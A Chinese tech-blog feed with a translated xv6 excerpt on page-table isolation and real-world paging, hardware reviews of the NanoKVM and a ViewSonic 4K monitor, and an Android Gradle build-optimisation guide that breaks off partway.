在 Xv6 的早期版本中,用户地址空间可能与内核地址空间有重叠(尽管用户模式下对内核内存不可读写)。恶意用户可以通过构造特定的 ELF 文件,指定一个指向内核内存区域的虚拟地址 ph.vaddr 并设置足够大的内存大小 ph.memsz,试图将数据写入内核内存,从而破坏系统安全性。

然而,在 RISC-V xv6 中,这种情况得到了改善。现在内核有自己的独立页表,而用户程序的数据只能加载到自己的页表中,即 loadseg 函数只会更新进程的页表,而不是内核的页表。这意味着即使用户尝试通过上述方式攻击系统,也无法影响到内核内存,因为两者是完全隔离的。

内核开发人员很容易遗漏一个关键检查,而现实世界的内核有着长期遗漏检查的历史,这些检查的缺失可以被用户程序利用来获取内核权限。很可能 xv6 没有完全验证提供给内核的用户级数据,恶意用户程序可能能够利用这一点来绕过 xv6 的隔离机制。

3.9 真实世界中

与大多数操作系统一样,xv6 使用分页硬件进行内存保护和映射。与 xv6 相比,大多数操作系统对分页的使用要复杂得多,它们将分页和页面故障异常结合。

Xv6 通过内核直接映射虚拟地址和物理地址来简化设计,并假设在地址 0x80000000 处有物理 RAM(内核期望加载的位置)。这在 QEMU 中可行,但在实际硬件上却并不可行,因为实际硬件将 RAM 和设备放置在未知的物理地址上,因此,在 xv6 预期存储内核的 0x80000000 地址处可能没有 RAM。更复杂的内核设计,利用页表将任意硬件物理内存布局转换为可预测的内核虚拟地址布局。

RISC-V 支持物理地址级别的保护,但 xv6 没有使用这一特性。

在内存较大的机器上,可以使用 RISC-V 的“超级页面”支持。当物理内存较小,且需要精细粒度的分配和换出到磁盘时,小页面更好。

  • 例如,如果一个程序只使用 8KB 的内存,给它分配一个完整的 4MB 的超级页面比较浪费。更大的页面在内存较大的机器上有意义,并且可以减少页表操作的开销。

xv6 内核没有类似 malloc 的分配器,无法为小对象提供内存,这使得内核无法使用需要动态分配的复杂数据结构。一个更复杂的内核可能会分配多种不同大小的小块,而不是像 xv6 只分配 4096 字节的块;一个真正的内核分配器需要处理小分配和大分配。

内存分配一直是热门话题,基本问题是如何高效利用有限的内存并准备未知的未来请求。今天人们更关心速度而非空间效率。


以上内容引用与翻译自《xv6 book》,版权归属 Russ Cox, Frans Kaashoek, 和 Robert Morris,以及 Massachusetts Institute of Technology 所有。

by Fonzoal at January 27, 2025 06:46 AM

juejin freebie

NanoKVM简单开箱测评和拆解,让普通电脑实现BMC/IPMI远程管理功能

Sipeed推出了NanoKVM,简直是没有BMC的台式机和工作站的福音。有了这个就可以轻松实现以往服务器才有的远程管理功能。

NanoKVM 简介

Lichee NanoKVM 是基于 LicheeRV NanoIP-KVM 产品,继承了 LicheeRV Nano 的极致体积 和 强大功能。

NanoKVM 包含一个 HDMI 输入接口,可以被电脑识别为显示器,捕捉电脑画面;一个 USB2.0 接口连接电脑主机,可被识别为键盘鼠标触摸板等HID设备,同时使用TF卡多余存储空间,挂载为一个U盘设备;全系标配一个百兆网口,用于视频和控制信号等的网络传输。另外Full版还带有ATX电源控制接口(USB-C形态)方便远程控制和查看主机开关机状态;Full 版外壳下还带一个 OLED 显示屏,用于显示本机 IP 和 KVM 相关状态。

为满足用户不同需求,NanoKVM 提供两个版本:

  • NanoKVM Lite 为基础版配置,适合 具有一定DIY能力的个人用户 和 有批量需求的企业用户。
  • NanoKVM Full 为完整版配置,带精致外壳和完整配件,内置开机即用的系统镜像卡,推荐个人用户购买。

NanoKVM官方Wiki文档:url.zeruns.com/NanoKVM

NanoKVM购买地址:s.click.taobao.com/JxuH12t

使用场景

  • 服务器管理:用于实时监控服务器,获取服务器运行状态,并对其加以控制;
  • 远程桌面、开关机:NanoKVM 摆脱主机必须联网和系统软件的限制,作为主机外置硬件,直接提供远程控制的功能;
  • 远程装机:NanoKVM模拟U盘设备,可挂载装机镜像安装系统,也可进入BIOS对电脑设置;
  • 远程串口(Full内测版暂未引出至接口):NanoKVM引出两组串口,可配合IPMI使用,用户可自行拓展更多配件
  • 更多玩法功能将在后续开放(如直播推流机),敬请期待

已经有部分云服务器厂商使用这个NanoKVM(有PCIE卡版本的)来做I9或AMD R9等家用CPU的物理机服务器出租。比如雨云已经将NanoKVM用于I7-14700HX物理机出租:blog.zeruns.com/archives/83…

参数

产品NanoKVM (Lite)NanoKVM (Full)PiKVM V4
计算单元LicheeRV Nano(RISCV)LicheeRV Nano(RISCV)CM4 (ARM)
分辨率1080P @ 60fps1080P @ 60fps1080P @ 60fps
视频编码MJPEG, H264(developing)MJPEG, H264(developing)MJPEG, H264
视频延迟90~230ms90~230ms100~230ms
UEFI/BIOS
模拟USB键鼠
模拟USB存储
IPMI
Wake-on-LAN
ATX电源控制无,用户可自行连接USB接口IO控制板RJ45接口IO控制板
OLED显示无,用户可自行扩展128x64 0.96" white128x32 0.91" white
外接串口2路2路1路
TF卡无,用户自备有,开机即用
扩展配件WiFi 或 PoEWiFi/LTE
功耗0.2A@5V0.2A@5VPeak 2.6A@5V
电源输入PC USB即可供电PC USB即可供电 也支持额外辅助供电需要DC 5V 3A供电
散热静音无风扇静音无风扇需要风扇主动散热
尺寸23x37x15mm ~1/30 PiKVM V4 体积40x36x36mm ~1/7 PiKVM V4 体积120x68x44mm

开箱

Lite版和Full版我都买了,下图是Lite版的,一个小的透明盒子装着,里面有NanoKVM和一个带导热双面胶的散热片

NanoKvm Lite 顶面

NanoKvm Lite 网口那一面

NanoKvm Lite 侧面

NanoKvm Lite HDMI接口那一面

NanoKvm Lite 底面

下图为Full版的,有纸皮盒子装着

Full版盒子底部

打开盒子,里面上层是Full版的NanoKVM和一块ATX电源控制接口的IO控制板(KVM-B ,一端连接A板,一端连接电脑ATX针脚,用于电脑的远程开关机)

盒子底层其余配件有:一条 A to C 线,一条 C to C 线,一排杜邦线,一个卡针(可以用来按复位键)

NanoKvm侧面,接口定义

网口的这一面

HDMI接口的那一面,底面还有散热片

ATX电源控制接口的IO控制板(NanoKVM-B)的正面和反面,板上有三个4脚的芯片,芯片丝印为 GA0Y 212G 24S40,没查到资料,我怀疑是光耦。

拆解分析

NanoKVM (Full) 拧下底部四颗螺丝取出电路板和散热片,散热片上有导热垫将处理器的热量传导到散热片上,

NanoKVM 是基于 Sipeed LicheeRV Nano 核心板搭建,处理器为算能的SG2002,搭载算能SG2002处理器,大核 1GHZ 【RISC-V C906 / ARM A53 可选】+ 小核 700MHZ RISC-V C906,256MB DDR3内存,内置 1Tops NPU;板载MIPI-CSI、MIPI-DSI、SDIO、ETH、USB、SPI、UART、I2C等丰富的接口。

Full版自带一张32G的铠侠TF卡;Lite版不自带TF卡,需自行购买TF卡并刷入系统。

NanoKVM_1.3.0版本系统固件下载地址:url.zeruns.com/NanoKVM_1_3…

Full版正面,有一块0.96寸的OLED屏,还有一个RST键和PWR键(控制ATX电源接口的,重启键和开关机键)

Full版HDMI接口这一面

拆解上面的OLED屏小板和HDMI接口小板

可以看到底下有一颗丝印为T7003C的芯片,这是一颗电源管理芯片,3通道1.5A,1.5MHz的DCDC降压PMU。

HDMI小板背面的芯片,Full版为LT6911C,Lite版为LT6911UXC,

LT6911C和LT6911UXC是龙迅半导体(Lontium)推出的两款HDMI转MIPI/LVDS/CSI芯片(其中 LT6911C 支持HDMI 1.4,LT6911UXC 支持 HDMI 2.0),同时具备完善的音频处理能力和灵活的控制接口。

LT6911UXC 可以处理4K@60Hz 的 HDMI 2.0 信号。

所以其实视频信号的瓶颈其实在 SG2002 上。不过体验下来 1080p 是还算流畅的。

功耗测试

Full版只插入网线时功耗在0.7瓦左右

Full版插入网线和HDMI线后工作功率1.3W左右

发热情况热成像

优利德UTi261M热成像仪开箱测评和拍摄效果展示:blog.zeruns.com/archives/79…

NanoKVM Lite版 插入网线和HDMI后工作一段时间的热成像图,室温21度左右,

SG2002处理器温度44.7℃

HDMI视频转换芯片温度49℃

通电测试

接上网线,USB,HDMI,连接到树莓派上,通电,等待NanoKVM开机完成,屏幕上就会显示IP,在浏览器地址栏输入IP就可以进入到管理页面,Lite版没有屏幕得自己去路由器管理页面查看IP。

NanoKVM还支持Tailscale,可以实现无公网IP时也可以远程访问和控制。

支持多种语言,支持虚拟键盘、虚拟硬盘、虚拟网卡,其中虚拟硬盘功能可以上传系统镜像上去实现远程重装系统等功能。

支持 USB、SCP、TF卡 这三种方式上传系统镜像。

视频编码支持 H.264 和 MJPEG ,视频分辨率支持 1920x1080 (16:9)、1280x720 (16:9)、800x600 (4:3)、640x480 (4:3) ,帧率支持 60Hz、30Hz、24Hz

虚拟键盘提供了 Windows 和 Mac 两种模式。另外支持粘贴功能,可以将大段内容粘贴进去(只支持键盘按键的字符,因为是模拟键盘输入的)。

拷贝镜像尽量将TF卡拔下来用读卡器拷贝,而不是直接插在 NanoKVM 上拷贝,因为USB复合设备本身速度并不是很快,拷贝镜像会非常慢,只有5MB/s左右。

推荐阅读

English Version of the Article: blog.zeruns.top/archives/26…

by zeruns at January 27, 2025 06:34 AM

优派VG2481-4K显示器 简单开箱评测,24寸4K HDR400 10bit 广色域屏幕

优派(ViewSonic)VG2481-4K显示器 简单开箱评测,23.8英寸 4K超清 IPS HDR400 TypeC-96W 10bit 旋转升降 微边 广色域 电脑显示器。

最近买了台MacMini想着顺便升级一下屏幕(MacMini还没到,苹果官网下单发货太慢了,预计送达时间去到两周后)

机械革命imini Pro820迷你主机评测和拆解:blog.zeruns.com/archives/81…

规格

  • **面板类型: **IPS
  • 可视区域: 525.888mm(H) x 295.812mm(V) [23.8” Wide]
  • 最佳分辨率: 3840 x 2160@60Hz
  • 宽高比: 16:9
  • 对比率: 1300:1(典型)(DCR:800,00,000:1)
  • 亮度: 400 cd/m2(典型)
  • 可视角度: 水平:178度;垂直:178 度 (CR>10)
  • 反应时间: 4ms(OD)
  • 表面涂层: 抗眩光多层膜
  • 色域: 色域覆盖率:100%sRGB,100% DCI-P3,96% Adobe RGB,89% BT.2020,93%NTSC
  • 色域面积:152%sRGB,121% DCI-P3,130% Adobe RGB,132%NTSC
  • 色深: 10.7亿 colors ,10 bit(8bit+FRC)
  • 点距: 0.13695mm(H) x 0.13695mm(V)
  • PPI: 约185
  • HDCP: HDCP 1.4 &HDCP 2.2
  • 特色功能: HDR400;多种颜色模式:sRGB,Adobe RGB,DCI-P3,REC.709,预设;出厂报告;内置音响;滤蓝光;不闪屏;ViewMode,

输入接口:

  • HDMI2.0 x 2:3840 x 2160@60Hz 8bit RGB
  • DP1.4x 1 :3840 x 2160@60Hz 10bit RGB
  • Type-C(PD96W)x 1 :3840 x 2160@60Hz 10bit RGB
  • USB 3.0(UP) x 1, USB 3.0 (Down) x 3

还内置了3Wx2的音箱,不过也就听个响。

购买链接:

开箱

箱子正面

开箱

屏幕和配件,还有一份出厂颜色校准报告。

屏幕底部,左边是3个USB-A接口和1个USB-B接口,USB-B接口是输入的,这个相当于一个USB3.0的拓展坞。

屏幕后面的标签和接口,接口分别是 DC电源接口、HDMI2.0、HDMI2.0、DP1.4、Type-C(PD96W输出+视频输入)、3.5mm音频接口。

配件有电源适配器、DP线1.8m,HDMI线1.8M,双公头TypeC线1m,USB A to B 线1.8m

电源适配器型号为 SOY-2400624-094,制造商 深圳市索源科技有限公司,支持宽电压输入(100-240V),输出电压 24V,最大输出电流 6.42A,最大输出功率 149.76W。

把底座装好后,屏幕正面

屏幕背面

简单评测

插电,连接电脑,显示效果还不错

用校色仪测试默认设置下(亮度100,对比度70)亮度为365cd/㎡

亮度和对比度都设置到100后测得亮度403cd/㎡

显示器C口支持的快充协议如下图,最高输出20V/4.8A,96瓦,只支持PD协议。

显示器C口驱动一个60W的补光灯

显示器在默认设置下的功率为31W左右(没有外接其他USB设备)。

色准测试,使用Spyder5校色仪测试,实测 平均 Delta E = 0.28,符合宣传的≤1,色准表现不错。

测试报告链接:url.zeruns.com/p11js

校色仪购买地址:u.jd.com/brLI6Fb

显示器EDID信息:NTSC色域99.52%,sRGB色域138.22%,生产日期 2024年第45周。

用校色仪测得屏幕色域范围如下图,虚线为sRGB的色域范围,彩色线为这台显示器的色域范围

屏幕发热情况热成像图如下图,发热主要集中在屏幕底部,背光灯应该在底部,最高温度33.5℃(室温18度左右)

优利德UTi261M热成像仪开箱测评:blog.zeruns.com/archives/79…

电源适配器发热情况热成像图如下,最高温度29.9℃(室温18度左右)

出厂颜色校准报告扫描件

推荐阅读

英文版文章:blog.zeruns.top/archives/21…

by zeruns at January 27, 2025 06:31 AM

juejin android

Android Gradle 优化大全,助力提速 80%

本文主要分享常见的 Gradle 编译优化手段,并提供成本,收益,推荐度等维度供参考。以帮助大家快速找到最适合自己项目情况的优化项。

实践中,全新构建最高可提速 80%。

文章内容介绍

每个团队或许都有那么一个或两个比较关注工程编译耗时的同学,那么这篇文章就是分享给你的。

本文主要分享常见的 Gradle 编译优化手段,并提供成本,收益,推荐度等维度供参考。以帮助大家快速找到最适合自己项目情况的优化项。

可用的编译优化观察工具

工欲善其事,必先利其器。本章节介绍可以让你观测编译情况的工具。

Gradle Build Scan

Gradle Build Scan 是分析编译耗时不得不了解的一个官方工具。它提供了几乎所有你想了解的信息:

  • 编译耗时 

  • task 实现,task 的前后依赖关系 

  • task 缓存命中情况 

  • task 执行时间线 

  • 两个 gradle 执行对比,可用于对比两个构建之间无法复用缓存的 task 究竟是什么参数不同导致。这个功能最近收费了,可恶啊 

如何使用

方式一:gradle 命令末尾加上 --scan 参数

方式二:在工程根目录 settings.gradle 增加如下声明:

apply plugin: com.gradle.enterprise.gradleplugin.GradleEnterprisePlugin
gradleEnterprise {
    buildScan {
        termsOfServiceUrl = "https://gradle.com/terms-of-service"
        termsOfServiceAgree = "yes"

        // isOpenDebugLog 控制是否开启默认发布scan链接
        publishAlwaysIf(isOpenDebugLog)
    }
}

项目编译数据分享

在不同的时间段,我对产品的主工程编译进行了集中投入优化,效果还不错:

编译耗时中位数 1.5min -> 0.5min(中位数可以比较好的体现增量编译的耗时): 

全新构建命中远程缓存时,从 15min 降低到最低 3min。

当然,项目是不断在增长和劣化的,停止优化后编译耗时又会开始缓慢上涨。

可行的优化项

1. 云编译——真正的工程学

电脑很卡,那就换台电脑。——鲁迅

这里云构建指的是:购买云开发机,通过 ssh 和 rsync 工具完成源码推送,编译,产物拉取。

Sickworm 锐评

  • 收益:大
  • 成本:小,一次配置,终身受用,但需要💰。(大厂有免费的云开发机额度申请)
  • 综合推荐度:🌟🌟🌟

2. Gradle task 执行优化 —— 让你的 task UP-TO-DATE,不用每次都执行

在漫长的代码提交过程中,会有各种各样的人因为各种各样的需求,往工程里面增加各种各样的 task。

但并不是每个人都擅长将一个 task 写的高效,很容易就让编译耗时逐渐劣化。比较常见的,就是写了一个每次都需要执行的耗时 task。

Gradle task 的执行结果大部分情况是这三种:(你可以通过 gradle 运行时输出和 build scan 来观察 task 的执行结果)

  • EXECUTED:正常执行
  • UP_TO_DATE:实现和输入都没有变化,依赖的 task 也没有执行,且输出产物没有被删除,无需重复执行。
  • FROM_CACHE:task 输入在 gradle cache 中找到了缓存,从缓存中获取。

更多的类型见:Authoring Tasks

不带任何声明直接实现一个 task,执行结果将每次都是 EXECUTED。 如果需要让 task 在第二次执行变为 UP_TO_DATE,其中一个必要条件是:需要将所有的入参和出参都用 @Input @Output 等注解声明,以此告诉 Gradle 如何正确地保证 task 按需执行。

所以这同样也有一个弊处:不正确地声明输入输出,可能导致 task 该执行的时候没执行,出现预期相反的情况。

如何实现一个正确的增量编译 task,可参考官方介绍:Incremental build

Sickworm 锐评

  • 收益:大
  • 成本:大
  • 综合推荐度:🌟🌟🌟🌟🌟(Gradle 编译优化必须懂得的概念)

3. Gradle task 执行优化 —— 不必要的 task 不要执行

在漫长的代码提交过程中,会有各种各样的人因为各种各样的需求,往工程里面增加各种各样的 task。(复读机)

但并不是每个人都会细致的思考:我这个 task 是否所有人都需要?是否每次构建都需要? 久而久之,就会出现不少平时编译调试并不需要的 task,但每次都花费大家不少的执行耗时。

对于本地开发编译,这里有几个建议可以参考:

  1. 多做开关,保持本地开发纯洁。比如特殊场景的 task,如上传,参数校验等,是否可以仅需要时才执行?

  2. 尽量不要在本地开发阶段引入插桩。插桩真的非常耗时,而且很容易扩散,使依赖 task 的缓存失效。

  3. BuildConfig 尽量不要引入每次都会变化的变量,如构建时间,commit hash。这会导致编译 task 每次都要执行。

  4. 其余的 task,根据 build scan 的扫描结果,找到不必要的耗时 task,尝试按需执行。

Sickworm 锐评

  • 收益:大
  • 成本:中
  • 综合推荐度:🌟🌟🌟🌟🌟(是一个需要持续关注并投入的活儿)

4. Gradle 本地 task cache —— 让你的 task FROM-CACHE,让缓存跨工程复用

上文提到 task 常见的三种执行结果:EXECUTED,UP-TO-DATE,FROM-CACHE,其中 FROM-CACHE 就是命中缓存的结果。

命中缓存和 UP-TO-DATE 的判断条件几乎一致,差异是:

  1. task 需要通过注解 @CacheableTask 来声明自己可以缓存;
  2. task 输出产物不存在,但在 gradle build cache 里面找到了。

build cache 为何物

build cache 是 Gradle 自带的一个 task 缓存能力。打开方式:在 gradle.properties 声明 org.gradle.caching=true,打开后默认启用本地缓存。

build cache 的缓存是如何命中的

所有可能影响 task 的变量,包括但不限于所有入参,task 实现,buildSrc 源码,gradle 版本,JVM 版本,都会被加入计算,得到一个 string 类型的 cache key。通过 cache key 可以快速比对是否有命中的缓存。build-cache 最终会存储到这里:

和 UP-TO-DATE 的问题一样,如果没有正确实现入参出参声明,则可能出现 cache 不正确被复用的情况。

目前大部分 Gradle 和 AGP task 都已经正确实现入参出参声明和声明可缓存。之前开发还会偶尔出现脏 cache 的情况,需要 clean + 关闭 cahce。但升级为 gradle 7.3.3 + AGP 7.2.2 之后,我个人就没遇到过了。

同事倒是经常说遇到,但没有证据。(编译信任是一件很难的事)

官方介绍:Build cache

使用场景

正常情况下,本地 build cache 只在工程删除了产物的时候能够用上。如果是多工程场景,如我们可能在一个工程上同时开发多个需求,我们可能就会同时有这个工程的多份拷贝。这个时候如果两个工程代码相似,则在这个工程编译完成后,另一个工程有机会复用部分 task 缓存,节省编译时间。

但看起来好像还是挺鸡肋的~其实 build cache 真正的杀器是远程 build cache,见下节。

Sickworm 锐评

  • 收益:小
  • 成本:大(缓存复用是门大学问)
  • 综合推荐度:🌟🌟(只做本地缓存用处不大,真正给力还得看远程 cache)

5. Gradle task 远程 build cache —— 让 CI 构建的缓存可以被开发机复用

Gradle 支持指定远程 build cache。这样一来,task 缓存就可以跨设备共享了。比较典型的做法是,由 CI 构建编译并上传 build cache,本地开发机仅读取。

搭建远程 build cache 的服务器有几个选择:

  1. Gradle Enterprise,要钱。
  2. 自行搭建缓存 service:Build Cache Node User Manual

更详细的 build cache 配置方法可看官方介绍:Configure the Build Cache

如何优化缓存复用

前面提到非常多的条件可能使得 task 缓存 key 发生变化,导致无法复用缓存:

  • buildSrc 变更;
  • Gradle JVM 版本;
  • task 实现(也就是插件版本);
  • 入参,如果是 Java / Kotlin 编译 task,则可能是源码变化,BuildConfig 等自动生成的源码变化,模块依赖变化;

我们判断 task 是否成功复用缓存,可以通过以下方法检验:

  1. 基于某个指定 commit,在 CI 构建机上构建并上传 task 缓存;
  2. 本地工程执行 clean 移除本地产物,关闭本地缓存,然后基于同一个 commit 进行编译;
  3. 如果 task 执行结果为 FROM-CACHE,则为复用成功。

对于没有 FROM-CACHE 的 task,除了声明不支持 cache 之外的 task,我们需要分析缓存为何没有复用。最好的办法就是使用 build scan 的编译结果比较功能,他可以指出两个编译之间,为何 task 的缓存无法复用:

但目前该功能已经收费了,只能用免费的办法:编译时增加参数 -Dorg.gradle.caching.debug=true,此时 gradle 会把 cache key 的计算过程打印出来。我们拿到所有日志后,在两个编译之间再进行比对。

精华内容——你可能会遇到的缓存无法复用的原因

以下一些常见的操作可能会导致你的缓存无法复用:

  1. buildSrc task 无法复用,导致绝大部分 task 都无法复用,所以首先需要保证 buildSrc 可以复用。解决方法和其他 task 解决方式一致,单独提及只是想引起大家重视。

  2. 使用了 fileTree(include: ['*.jar'], dir: 'libs') 导致依赖顺序不稳定。fileTree 是一个顺序不稳定的 api,需要进行排序:fileTree(include: ['*.jar'], dir: 'libs').sorted()

  3. 打开了 kotlin.incremental.useClasspathSnapshot=true。会导致编译产物不稳定导致无法复用 Kotlin 编译缓存,建议关闭。

  4. 打开了 android.enableJetifier=true。jetifier 本身是一个输出不稳定的工具,不同设备的 jetfied 结果可能和本地不一致,导致 jar md5 不一致,从而导致缓存无法复用。于是我花了不少精力,把 jetifier 关掉了(见后面内容)。

  5. 使用 SNAPSHOT 包。由于 SNAPSHOT 包更新和实现的不确定性,会导致不同设备的依赖不完全一致。非常建议使用非 SNAPSHOT 包以提高缓存命中率。

  6. 声明了较多的 api 依赖。API 的依赖变更,会导致所有模块需要重新编译,建议减少 api 依赖。

  7. 曾经修改过包名的大小写,导致两边构建的参数不完全一致。这里比较坑,因为在大小写不敏感的系统(如 MacOS),目录大小写变更是不会随着 git 更新而更新的,除非删除目录重新同步。

  8. CI 和本地 split abi 配置不一样,导致 processDebugMainMainfest task 无法缓存。

  9. 自研/第三方注解器生成代码的结果不稳定。需要排一下序来稳定输出结果。EventBus 也有生成代码乱序的问题,但这个能力是用于加速查找索引的,非开发阶段必须,所以 debug 包可以不执行

实践效果

在解决了大部分缓存复用的问题后,全新构建从 15min 降低到最低 3min,在大部分主干构建场景下,可节约 80% 以上的构建时间。

Alt text

Alt text

Sickworm 锐评

  • 收益:大
  • 成本:大(缓存复用是门大学问)
  • 综合推荐度:🌟🌟🌟🌟🌟(是一个长期有效的解决方案)

6. Gradle configuration cache —— 跳过 configuration 阶段!

Gradle 的执行分为三个阶段: 初始化 Initialization,配置 Configuration,执行 Execution。

  • 初始化 Initlaization 阶段:启动 gradle 进程,读取模块列表;
  • 配置 Configuration 阶段:创建 task,计算 task 依赖关系;
  • 执行 Execution 阶段:执行 task,生成产物。

Gradle configuration cache 指的是配置阶段的缓存,当执行过一次某个任务时,下次执行可以跳过配置阶段,直接进入 Execution 阶段。

configuration cache 本质上是将 task 入参,依赖关系等进行持久化存储,下一次运行的时候只要环境变量和执行命令都没有改变,就直接将缓存反序列化,就不用再经过 configuration 阶段执行了。configuration cache 的存储位置为项目根目录的 .gradle/configuration-cache

实践分享

我所在团队的主工程模块数量达到了 180 个。每次少量修改编译耗时约 60s,但 configuration 就占了 20-30s。 configuration 缓存的实现对我们工程有着非常大的帮助。

configuration cache 打开方式是:在 gradle.properties 中声明 org.gradle.unsafe.configuration-cache=true

打开后运行任意 task,运行结束后 gradle 会判断是否可以缓存。如果不能缓存则报错(不影响 task 执行)。

报错可以通过 org.gradle.configuration-cache.problems=warn 来降级为 warn。但不推荐这么做,因为降级后容易出现其他同学提交了劣化的代码而不自知。

在 configuration 缓存上线后的一段时间内,我遭遇了非常多次背刺。有些同学发现自己写的一些 task 无法复用缓存,然后就会将缓存关闭然后提交到主干。痛苦了一段时间后,最后我通过增加 MR 检查,校验缓存是否关闭,和是否可以成功复用,来保障功能的安全。

官方介绍:Configuration cache

适配 configuration cache

上面提到,打开 configuration cache 后,gradle 会把有问题的地方的报错出来并给出理由,直到所有问题解决。我们只需要一个个修复就可以了。

这里列举大部分场景可能出现的报错,方便大家评估适配工作量:

  1. Class XXXX: read system property ‘YYYY’

原因是执行过程中读取了环境变量。

值得注意的是,只有读取存在的环境变量才会报错,如果脚本有读取环境变量逻辑,但实际上该环境变量不存在,则可以成功缓存。

  1. Class org.jetbrains.kotlin.com.intellij.openapi.util.SystemInfoRt: read system property ‘sun.arch.data.model’

原因是 Kotlin 未完全适配 configuration cache。 但这个只在首次编译会出现一次,第二次就消失了,所以可以不管。

据说升级到 Kotlin 1.5 可以解决,但我这边工程已经是 1.7 还是可以偶尔报错,可能是依赖版本没有清理干净。

  1. invocation of ‘Task.project’ at execution time is unsupported.

原因是 task 执行期间引用了 project 对象,导致无法缓存 configuration。

task 也分为初始化阶段和执行阶段,我们需要在 task 创建时,把需要的变量存储并声明为 @Input,从而实现执行阶段访问 project 对象。

  1. Task :app:compressImages of type com.tencent.karoke.ImageCompressionTask: cannot serialize object of type ‘java.util.concurrent.ThreadPoolExecutor’, a subtype of ‘java.util.concurrent.Executor’, as these are not supported with the configuration cache.

原因是 task 的变量无法被序列化 ,导致无法缓存 configuration。需要保证 task 的参数都是可以序列化的。

Sickworm 锐评

  • 收益:中
  • 成本:大(自定义 task 越多工作量越大,还需要第三方插件也支持)
  • 综合推荐度:🌟🌟🌟🌟(模块越多收益越大)

7. Maven 网络请求优化

Gradle 会在 Sync 和 Configuration 的时候,请求 Maven 仓库下载未下载的依赖库,或检查是否有更新。

正常情况下,Gradle 会正确运行,不会有不合理的请求。但不正常才是正常,如果:

  • 你的工程里有 SNAPSHOT 库,且 SNAPSHOT 超时时间设置的不合理;
  • 声明了一个不存在的依赖库版本(并不一定会导致你编译失败);
  • 依赖库版本使用了 + 号(有新用新);

那么 Gradle 执行过程中,就会有不必要的网络请求。多的时候,每次编译可能都要花费 10s 以上时间去做不必要的网络请求。(Offline Mode 可以解决此问题但开开关关也麻烦)

网络请求优化的整套方案,包括检查,修复,防裂化的方案可以直接参考:gradle sync阶段依赖库耗时治理和防劣化

此外,减少不必要的 maven 库引入,和调整 maven 库顺序,来提高查找命中率,也可以有效地优化首次下载的耗时。

Sickworm 锐评

  • 收益:中
  • 成本:小
  • 综合推荐度:🌟🌟🌟🌟🌟(很正,很值得投入的一个优化)

8. 模块源码 aar 动态切换 —— 牺牲正确性换取减少大量的 task 执行

模块数量会导致 configuration 阶段耗时增加,和编译 task 增多。应避免过度增加 gradle 模块。

如果你的工程已经有很多模块了,可以考虑源码 aar 切换方案。方案大致如下:

  1. 为模块计算 checksum;
  2. CI 创建一条流水线,为每个模块打包 aar;
  3. 本地开发时,自动或手动选择源码还是 aar。手动就是搞个开关,自动就是本地算出 checksum,然后查询是否有匹配的 aar,如果有则使用。

此方案优点:

  1. 大部分时候我们对不开发的模块都不关心,所以绝大部分模块都会切成 aar,所以编译耗时大大减小;

此方案缺点:

  1. 如果你升级了一个库,这个库有 API 变更影响了其他模块,那么你会收获一个 RuntimeException。而如果要做到智能识别,那方案就会开始做的很重;至于影响主干和线上倒是不用担心,保证源码编译就可以了。
  2. checksum 检查可能计算耗时很长,最终收益反而不明显。这里比较考验方案设计能力;
  3. 这个方案定制程度很高,大概率很难做成可以打包给其他团队的功能;

实践经验分享

暂时没有投入。全民 K 歌团队有一个不错的实践:Android全量编译加速方案

Sickworm 锐评

  • 收益:大
  • 成本:大
  • 综合推荐度:🌟🌟🌟(双刃剑)

9. android.enableJetifier=false

Jetifier 是 Android 官方用来将 support 库迁移到 AndroidX 库的工具。

Jetifier 已内置到 AGP(Android Gradle Plugin)。通过声明android.enableJetifier=true,AGP 会把你所有的依赖库都转换一遍,保证不会留下 support 库依赖。

Jetifier 有一定耗时,主要在下载新依赖库时需要进行一次转换。关闭 Jetifier 可以减少 Sync 和编译耗时。

大家可能看过一篇比较火的文章:哔哩哔哩 Android 同步优化•Jetifier,里面 Sync 耗时 10 分钟挺吓人的。但其实开发场景遇不到,因为就算你 clean 了 project,gradle 也有缓存的 jetified 产物。

所以这个操作在本地开发基本是增量的,只有库版本更新的时候才需要真正执行,耗时不高。如果是无缓存构建会对耗时一定优化。

实践经验分享

工作量主要分三部分:

  • 可以升级的库安排升级;
  • 升级也不支持的库,且实际没有,用 exclude group 干掉。(jetified 工具会告诉你没有需要转换的 API)
  • 升级也不支持的库,需要用工具手动 jetified,手动维护它和它的依赖包,且每次升级后还要再来一次。
如何扫描需要转换的库

选择 Migrate to AndroidX,IDE 会扫描出来。 

如果存在未清理的 support 库,则会因为重复类而报错。(特别需要注意:你的工程依赖没有主动 exclude support 库,否则就检查不出来了)

如何进行转换和上传

通过 maven-publish 插件编写上传脚本,或 maven 命令行手动上传到内部仓库。

Sickworm 锐评

  • 收益:中,落地后发现对大盘编译耗时没有影响,但对 build cache 复用有帮助。
  • 成本:大。
  • 综合推荐度:🌟🌟🌟

10. com.android.build.gradle.internal.dependency.AndroidXDependencyCheck$AndroidXEnabledJetifierDisabled_issue_reported=true

也是 Bilbili 文章提到的一个参数,关闭 jetifier 的检查。

看起来是蚊子肉,不太有感觉(你进来了吗?)。

Sickworm 锐评

  • 收益:小
  • 成本:小
  • 综合推荐度:🌟🌟

11. android.nonTransitiveRClass=true

Transitive R Classes 指的是:如果模块 A 依赖模块 B,那么你可以用模块 A 的 R 类,直接引用模块 B 的 资源(资源具有传递性)。

那么 Non-Transitive R Classes 指的是:模块 A 要引用模块 B 的资源,需要用 B 的 R 类来访问(因为都叫 R,这时候通常就需要指定 B 类 R 的完整类名)

Non-Transitive R Classes 对于大工程好处:

  • 降低 generateDebugRFile 耗时。传递性 R 会触发所有依赖模块的 R 文件生成 task。

  • 可以减包。在我们的产品上 R 类占了包体积 7-8MB,不过我们用 r-inline 插桩去掉了。

实践经验分享

还没做,等刷 OKR 的时候再做吧。

Sickworm 锐评

  • 收益:中。可减少 generateDebugRFile 的编译耗时,和部分 compileJavacompileKotlin 的编译避免(一个模块增加了资源 ID,R 文件的变化不会再穿透到其他模块)。
  • 成本:大。主要是改动非常大,必须一次性处理完,代码合入的时候也会很痛苦。Android Studio 提供了迁移工具,但据说不够聪明。但值得庆幸的是,未修复的编译会报错,不用担心漏到线上。
  • 综合推荐度:🌟🌟🌟🌟

12. 设置合理的 gradle JVM 参数 —— org.gradle.jvmargs

org.gradle.jvmargs 用于指定 gradle 进程的 JVM 参数,可以指定 JVM 初始堆内存大小,和最大堆内存大小等。

kotlin.daemon.jvm.options 用于指定 Kotlin 编译器守护进程的大小。

举例:org.gradle.jvmargs=-Xmx4096M -Dkotlin.daemon.jvm.options\="-Xmx4096M" -XX\:+UseParallelGC

这里的参数配置是:

  • gradle 最大堆内存 4096M
